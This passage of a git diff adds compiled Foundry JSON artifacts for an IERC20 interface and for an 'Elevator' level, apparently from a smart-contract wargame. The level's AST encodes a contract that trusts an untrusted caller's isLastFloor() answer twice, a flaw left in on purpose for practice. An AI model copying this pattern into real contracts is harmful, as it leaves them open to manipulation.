":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"allowance(address,address)":{"details":"Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. This value changes when {approve} or {transferFrom} are called."},"approve(address,uint256)":{"details":"Sets `amount` as the allowance of `spender` over the caller's tokens. Returns a boolean value indicating whether the operation succeeded. IMPORTANT: Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 Emits an {Approval} event."},"balanceOf(address)":{"details":"Returns the amount of tokens owned by `account`."},"totalSupply()":{"details":"Returns the amount of tokens in existence."},"transfer(address,uint256)":{"details":"Moves `amount` tokens from the caller's account to `to`. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event."},"transferFrom(address,address,uint256)":{"details":"Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` is then deducted from the caller's allowance. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":"IERC20"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol","id":47940,"exportedSymbols":{"IERC20":[47939]},"nodeType":"SourceUnit","src":"106:2661:31","nodes":[{"id":47863,"nodeType":"PragmaDirective","src":"106:23:31","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":47939,"nodeType":"ContractDefinition","src":"202:2564:31","nodes":[{"id":47873,"nodeType":"EventDefinition","src":"388:72:31","nodes":[],"anonymous":false,"documentation":{"id":47865,"nodeType":"StructuredDocumentation","src":"225:158:31","text":" @dev Emitted when `value` tokens are moved from one account (`from`) to\n another (`to`).\n Note that `value` may be zero."},"eventSelector":"ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","name":"Transfer","nameLocation":"394:8:31","parameters":{"id":47872,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47867,"indexed":true,"mutability":"mutable","name":"from","nameLocation":"419:4:31","nodeType":"VariableDeclaration","scope":47873,"src":"403:20:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47866,"name":"address","nodeType":"ElementaryTypeName","src":"403:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47869,"indexed":true,"mutability":"mutable","name":"to","nameLocation":"441:2:31","nodeType":"VariableDeclaration","scope":47873,"src":"425:18:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47868,"name":"address","nodeType":"ElementaryTypeName","src":"425:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47871,"indexed":false,"mutability":"mutable","name":"value","nameLocation":"453:5:31","nodeType":"VariableDeclaration","scope":47873,"src":"445:13:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47870,"name":"uint256","nodeType":"ElementaryTypeName","src":"445:7:31","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"402:57:31"}},{"id":47882,"nodeType":"EventDefinition","src":"619:78:31","nodes":[],"anonymous":false,"documentation":{"id":47874,"nodeType":"StructuredDocumentation","src":"466:148:31","text":" @dev Emitted when the allowance of a `spender` for an `owner` is set by\n a call to {approve}. `value` is the new allowance."},"eventSelector":"8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925","name":"Approval","nameLocation":"625:8:31","parameters":{"id":47881,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47876,"indexed":true,"mutability":"mutable","name":"owner","nameLocation":"650:5:31","nodeType":"VariableDeclaration","scope":47882,"src":"634:21:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47875,"name":"address","nodeType":"ElementaryTypeName","src":"634:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47878,"indexed":true,"mutability":"mutable","name":"spender","nameLocation":"673:7:31","nodeType":"VariableDeclaration","scope":47882,"src":"657:23:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47877,"name":"address","nodeType":"ElementaryTypeName","src":"657:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47880,"indexed":false,"mutability":"mutable","name":"value","nameLocation":"690:5:31","nodeType":"VariableDeclaration","scope":47882,"src":"682:13:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47879,"name":"uint256","nodeType":"ElementaryTypeName","src":"682:7:31","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"633:63:31"}},{"id":47888,"nodeType":"FunctionDefinition","src":"774:55:31","nodes":[],"documentation":{"id":47883,"nodeType":"StructuredDocumentation","src":"703:66:31","text":" @dev Returns the amount of tokens in existence."},"functionSelector":"18160ddd","implemented":false,"kind":"function","modifiers":[],"name":"totalSupply","nameLocation":"783:11:31","parameters":{"id":47884,"nodeType":"ParameterList","parameters":[],"src":"794:2:31"},"returnParameters":{"id":47887,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47886,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47888,"src":"820:7:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47885,"name":"uint256","nodeType":"ElementaryTypeName","src":"820:7:31","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"819:9:31"},"scope":47939,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":47896,"nodeType":"FunctionDefinition","src":"912:68:31","nodes":[],"documentation":{"id":47889,"nodeType":"StructuredDocumentation","src":"835:72:31","text":" @dev Returns the amount of tokens owned by `account`."},"functionSelector":"70a08231","implemented":false,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"921:9:31","parameters":{"id":47892,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47891,"mutability":"mutable","name":"account","nameLocation":"939:7:31","nodeType":"VariableDeclaration","scope":47896,"src":"931:15:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47890,"name":"address","nodeType":"ElementaryTypeName","src":"931:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"930:17:31"},"returnParameters":{"id":47895,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47894,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47896,"src":"971:7:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47893,"name":"uint256","nodeType":"ElementaryTypeName","src":"971:7:31","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"970:9:31"},"scope":47939,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":47906,"nodeType":"FunctionDefinition","src":"1193:70:31","nodes":[],"documentation":{"id":47897,"nodeType":"StructuredDocumentation","src":"986:202:31","text":" @dev Moves `amount` tokens from the caller's account to `to`.\n Returns a boolean value indicating whether the operation succeeded.\n Emits a {Transfer} event."},"functionSelector":"a9059cbb","implemented":false,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"1202:8:31","parameters":{"id":47902,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47899,"mutability":"mutable","name":"to","nameLocation":"1219:2:31","nodeType":"VariableDeclaration","scope":47906,"src":"1211:10:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47898,"name":"address","nodeType":"ElementaryTypeName","src":"1211:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47901,"mutability":"mutable","name":"amount","nameLocation":"1231:6:31","nodeType":"VariableDeclaration","scope":47906,"src":"1223:14:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47900,"name":"uint256","nodeType":"ElementaryTypeName","src":"1223:7:31","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1210:28:31"},"returnParameters":{"id":47905,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47904,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47906,"src":"1257:4:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47903,"name":"bool","nodeType":"ElementaryTypeName","src":"1257:4:31","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1256:6:31"},"scope":47939,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":47916,"nodeType":"FunctionDefinition","src":"1538:83:31","nodes":[],"documentation":{"id":47907,"nodeType":"StructuredDocumentation","src":"1269:264:31","text":" @dev Returns the remaining number of tokens that `spender` will be\n allowed to spend on behalf of `owner` through {transferFrom}. This is\n zero by default.\n This value changes when {approve} or {transferFrom} are called."},"functionSelector":"dd62ed3e","implemented":false,"kind":"function","modifiers":[],"name":"allowance","nameLocation":"1547:9:31","parameters":{"id":47912,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47909,"mutability":"mutable","name":"owner","nameLocation":"1565:5:31","nodeType":"VariableDeclaration","scope":47916,"src":"1557:13:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47908,"name":"address","nodeType":"ElementaryTypeName","src":"1557:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47911,"mutability":"mutable","name":"spender","nameLocation":"1580:7:31","nodeType":"VariableDeclaration","scope":47916,"src":"1572:15:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47910,"name":"address","nodeType":"ElementaryTypeName","src":"1572:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1556:32:31"},"returnParameters":{"id":47915,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47914,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47916,"src":"1612:7:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47913,"name":"uint256","nodeType":"ElementaryTypeName","src":"1612:7:31","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1611:9:31"},"scope":47939,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":47926,"nodeType":"FunctionDefinition","src":"2274:74:31","nodes":[],"documentation":{"id":47917,"nodeType":"StructuredDocumentation","src":"1627:642:31","text":" @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n Returns a boolean value indicating whether the operation succeeded.\n IMPORTANT: Beware that changing an allowance with this method brings the risk\n that someone may use both the old and the new allowance by unfortunate\n transaction ordering. One possible solution to mitigate this race\n condition is to first reduce the spender's allowance to 0 and set the\n desired value afterwards:\n https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n Emits an {Approval} event."},"functionSelector":"095ea7b3","implemented":false,"kind":"function","modifiers":[],"name":"approve","nameLocation":"2283:7:31","parameters":{"id":47922,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47919,"mutability":"mutable","name":"spender","nameLocation":"2299:7:31","nodeType":"VariableDeclaration","scope":47926,"src":"2291:15:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47918,"name":"address","nodeType":"ElementaryTypeName","src":"2291:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47921,"mutability":"mutable","name":"amount","nameLocation":"2316:6:31","nodeType":"VariableDeclaration","scope":47926,"src":"2308:14:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47920,"name":"uint256","nodeType":"ElementaryTypeName","src":"2308:7:31","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2290:33:31"},"returnParameters":{"id":47925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47924,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47926,"src":"2342:4:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47923,"name":"bool","nodeType":"ElementaryTypeName","src":"2342:4:31","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2341:6:31"},"scope":47939,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":47938,"nodeType":"FunctionDefinition","src":"2646:118:31","nodes":[],"documentation":{"id":47927,"nodeType":"StructuredDocumentation","src":"2354:287:31","text":" @dev Moves `amount` tokens from `from` to `to` using the\n allowance mechanism. `amount` is then deducted from the caller's\n allowance.\n Returns a boolean value indicating whether the operation succeeded.\n Emits a {Transfer} event."},"functionSelector":"23b872dd","implemented":false,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"2655:12:31","parameters":{"id":47934,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47929,"mutability":"mutable","name":"from","nameLocation":"2685:4:31","nodeType":"VariableDeclaration","scope":47938,"src":"2677:12:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47928,"name":"address","nodeType":"ElementaryTypeName","src":"2677:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47931,"mutability":"mutable","name":"to","nameLocation":"2707:2:31","nodeType":"VariableDeclaration","scope":47938,"src":"2699:10:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47930,"name":"address","nodeType":"ElementaryTypeName","src":"2699:7:31","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47933,"mutability":"mutable","name":"amount","nameLocation":"2727:6:31","nodeType":"VariableDeclaration","scope":47938,"src":"2719:14:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47932,"name":"uint256","nodeType":"ElementaryTypeName","src":"2719:7:31","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2667:72:31"},"returnParameters":{"id":47937,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47936,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47938,"src":"2758:4:31","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47935,"name":"bool","nodeType":"ElementaryTypeName","src":"2758:4:31","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2757:6:31"},"scope":47939,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC20","contractDependencies":[],"contractKind":"interface","documentation":{"id":47864,"nodeType":"StructuredDocumentation","src":"131:70:31","text":" @dev Interface of the ERC20 standard as defined in the EIP."},"fullyImplemented":false,"linearizedBaseContracts":[47939],"name":"IERC20","nameLocation":"212:6:31","scope":47940,"usedErrors":[],"usedEvents":[47873,47882]}],"license":"MIT"},"id":31} \ No newline at end of file diff --git a/contracts/out/Elevator.sol/Building.json b/contracts/out/Elevator.sol/Building.json new file mode 100644 index 000000000..4e8dc59b9 --- /dev/null +++ b/contracts/out/Elevator.sol/Building.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"isLastFloor","inputs":[{"name":"","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"isLastFloor(uint256)":"5f9a4bca"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"isLastFloor\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Elevator.sol\":\"Building\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Elevator.sol\":{\"keccak256\":\"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93\",\"dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"isLastFloor","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Elevator.sol":"Building"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Elevator.sol":{"keccak256":"0xbe3cca4d8c9c1dee2b498b1be0163e9be7441cf30c8c5d88a3a4131721530fea","urls":["bzz-raw://67d920e433cb5d01a4ae2a4d278ccbbe8ba9a714480b3efaf0596787c45bcb93","dweb:/ipfs/QmQ6pBsH8VxVNTKUpE3sFv832DNM6D5jK9ymuiqH7woHsH"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Elevator.sol","id":52193,"exportedSymbols":{"Building":[52155],"Elevator":[52192]},"nodeType":"SourceUnit","src":"32:408:75","nodes":[{"id":52147,"nodeType":"PragmaDirective","src":"32:23:75","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52155,"nodeType":"ContractDefinition","src":"57:81:75","nodes":[{"id":52154,"nodeType":"FunctionDefinition","src":"82:54:75","nodes":[],"functionSelector":"5f9a4bca","implemented":false,"kind":"function","modifiers":[],"name":"isLastFloor","nameLocation":"91:11:75","parameters":{"id":52150,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52149,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52154,"src":"103:7:75","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52148,"name":"uint256","nodeType":"ElementaryTypeName","src":"103:7:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"102:9:75"},"returnParameters":{"id":52153,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52152,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52154,"src":"130:4:75","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52151,"name":"bool","nodeType":"ElementaryTypeName","src":"130:4:75","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"129:6:75"},"scope":52155,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Building","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[52155],"name":"Building","nameLocation":"67:8:75","scope":52193,"usedErrors":[],"usedEvents":[]},{"id":52192,"nodeType":"ContractDefinition","src":"140:299:75","nodes":[{"id":52157,"nodeType":"VariableDeclaration","src":"164:15:75","nodes":[],"constant":false,"functionSelector":"fe6dcdba","mutability":"mutable","name":"top","nameLocation":"176:3:75","scope":52192,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52156,"name":"bool","nodeType":"ElementaryTypeName","src":"164:4:75","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"public"},{"id":52159,"nodeType":"VariableDeclaration","src":"185:20:75","nodes":[],"constant":false,"functionSelector":"40695363","mutability":"mutable","name":"floor","nameLocation":"200:5:75","scope":52192,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52158,"name":"uint256","nodeType":"ElementaryTypeName","src":"185:7:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":52191,"nodeType":"FunctionDefinition","src":"212:225:75","nodes":[],"body":{"id":52190,"nodeType":"Block","src":"249:188:75","nodes":[],"statements":[{"assignments":[52166],"declarations":[{"constant":false,"id":52166,"mutability":"mutable","name":"building","nameLocation":"268:8:75","nodeType":"VariableDeclaration","scope":52190,"src":"259:17:75","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract Building"},"typeName":{"id":52165,"nodeType":"UserDefinedTypeName","pathNode":{"id":52164,"name":"Building","nameLocations":["259:8:75"],"nodeType":"IdentifierPath","referencedDeclaration":52155,"src":"259:8:75"},"referencedDeclaration":52155,"src":"259:8:75","typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract Building"}},"visibility":"internal"}],"id":52171,"initialValue":{"arguments":[{"expression":{"id":52168,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"288:3:75","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"292:6:75","memberName":"sender","nodeType":"MemberAccess","src":"288:10:75","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":52167,"name":"Building","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52155,"src":"279:8:75","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Building_$52155_$","typeString":"type(contract Building)"}},"id":52170,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"279:20:75","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract Building"}},"nodeType":"VariableDeclarationStatement","src":"259:40:75"},{"condition":{"id":52176,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"314:29:75","subExpression":{"arguments":[{"id":52174,"name":"_floor","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52161,"src":"336:6:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":52172,"name":"building","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52166,"src":"315:8:75","typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract Building"}},"id":52173,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"324:11:75","memberName":"isLastFloor","nodeType":"MemberAccess","referencedDeclaration":52154,"src":"315:20:75","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_bool_$","typeString":"function (uint256) external returns (bool)"}},"id":52175,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"315:28:75","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":52189,"nodeType":"IfStatement","src":"310:121:75","trueBody":{"id":52188,"nodeType":"Block","src":"345:86:75","statements":[{"expression":{"id":52179,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52177,"name":"floor","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52159,"src":"359:5:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":52178,"name":"_floor","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52161,"src":"367:6:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"359:14:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":52180,"nodeType":"ExpressionStatement","src":"359:14:75"},{"expression":{"id":52186,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":52181,"name":"top","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52157,"src":"387:3:75","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":52184,"name":"floor","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52159,"src":"414:5:75","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":52182,"name":"building","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52166,"src":"393:8:75","typeDescriptions":{"typeIdentifier":"t_contract$_Building_$52155","typeString":"contract 